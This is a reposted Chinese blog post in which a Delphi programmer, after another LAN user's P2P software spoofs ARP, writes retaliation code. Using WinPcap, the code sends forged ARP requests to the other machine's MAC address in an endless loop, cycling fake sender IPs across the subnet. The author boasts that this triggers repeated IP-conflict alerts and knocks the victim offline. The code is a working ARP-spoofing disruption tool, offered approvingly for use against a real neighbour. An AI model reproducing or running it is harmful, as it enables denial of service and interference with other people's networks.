delphi 程序员的反攻----打击P2P


本文整理自网络,侵删。

 刚才调程序调的正紧,突然右下角出来个东西。。。ip冲突,一会儿就上不了网了,拖出Iris,一看,nnd,敢玩我。。。典型的p2p之类的软件,冒充所有的机子给我发arp包,每隔段时间还来个arp扫描。嘿嘿。我让他扫。
procedure TForm1.Button1Click(Sender: TObject);
var
ThreadID:DWord;
my_arp_packet:ARP_PACKET;
i:Integer;
ip_str:string;
low_ip,high_ip:Integer;
begin
For i:=0 to 2 do
begin
if strtoip(edit3.Text)[i]<>strtoip(edit2.Text)[i] then
begin
ShowMessage('检查您输入的ip是否正确,目前只支持同一网段');
Exit;
end;
end;
Low_ip:=strtoip(edit3.Text)[3];
high_ip:=strtoip(Edit2.Text)[3];
CreateThread(nil,0,@sniff,nil,0,ThreadID);
{fill the DLC}
my_arp_packet.DLC_HDR.Destination:=setMacStr('00-00-f0-7d-26-3f');//坏蛋的mac地址;
my_arp_packet.DLC_HDR.Source:=setMacStr('aa-bb-cc-dd-ee-ff'); //告诉他我的mac为aa-bb-cc-dd(原计划来个随机的,嘿嘿,我让他郁闷去)
my_arp_packet.DLC_HDR.Protocol:=$0608; // PROTO_ARP
{fill the ARP}
my_arp_packet.ARP_FRAM.HardwareType:=$0100;//以太网
my_arp_packet.ARP_FRAM.ProtocolType:=$0008;//上层为IP协议
my_arp_packet.ARP_FRAM.HLen:=$6;//MAC地址长度
my_arp_packet.ARP_FRAM.PLen:=$4;//IP地址长度;
my_arp_packet.ARP_FRAM.Operation:=$0100;//操作码,此处为请求
my_arp_packet.ARP_FRAM.SenderHA:=setMacStr(Edit1.Text);
my_arp_packet.ARP_FRAM.TargetHA:=setMacStr('00-00-00-00-00-00');
my_arp_packet.ARP_FRAM.TargetIP:=StrToIP('192.168.0.254');

//while True do
//my_arp_packet.DLC_HDR.Source:=setMacStr(Edit1.Text);
while True do
begin
for i:=low_ip to high_ip do
begin
ip_str:='192.168.'+inttostr(strtoip(edit3.Text)[2])+'.'+inttostr(i);
//不断切换我的ip,效果就是让他发现多了n台机子,mac都是aa-bb-cc(写到这里我想到,应该把
mac换成警告他的信息。。。嘻嘻)
my_arp_packet.ARP_FRAM.SenderIP:=StrToIP(ip_str);
if pcap_sendpacket(my_ppcap_t,@my_arp_packet,SizeOf(my_arp_packet))=0 then
Form1.Caption:='发送成功'+inttostr(i);
Sleep(100);
end;
end;
{以上为arp发包的过程,可以用一个CreateThread 创建线程}
procedure sniff;
var
netmaste:u_int;
fcode:Tbpf_program;
packet_filter:array[1..10]of Char;
begin

d:=@alldevs;
d:=d.next;
d:=d.next;
if d.address<>nil then// netmaste:=
netmaste:=d.address.netmask.sin_addr.S_addr
else
netmaste:=$FFFFFF;
//compile the filter ip and tcp and
if pcap_compile(my_ppcap_t,@fcode,PChar('arp'),1,netmaste)<0 then ShowMessage('compile the filter fall');
//set the filter
if pcap_setfilter(my_ppcap_t,@fcode)<0 then ShowMessage('Error setting the filter');
pcap_loop(my_ppcap_t,0,@packet_handle,nil);//
end;

{此处为嗅探的过程,如果先创建一个线程开始嗅探,并将上面发包的mac目的地址,就是以太网头部的前6个字节换成ff-ff-ff-ff-ff-ff,pcap_loop的回调函数处理mac_ip列表的对应关系,则此程序即是一个内网存活机子扫描的程序,}
运行效果不要说滴,嘻嘻,他的机子看到一个奇怪的现象,而且还会不断的弹出ip冲突。上网也是时断时好,如果不是我程序手下留情sleep(200)他就别上了。。吼吼~~~

相关阅读 >>

Delphi串口通信编程

Delphi webbrowser1去边框

Delphi 如何使用sendmessage发送后台组合键消息(ctrl+xxx)

Delphi fmx 绘制非常精确的 时分秒针

Delphi中对进程内存进行读写

Delphi让listbox实现即指即显功能

Delphi2010显示选择文件夹对话框 (有新建按钮)

Delphi 对int64计算的一种处理方式

Delphi firemonkey应用程序取得控制的位置(坐标)的话

Delphi rtf文件转txt函数

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...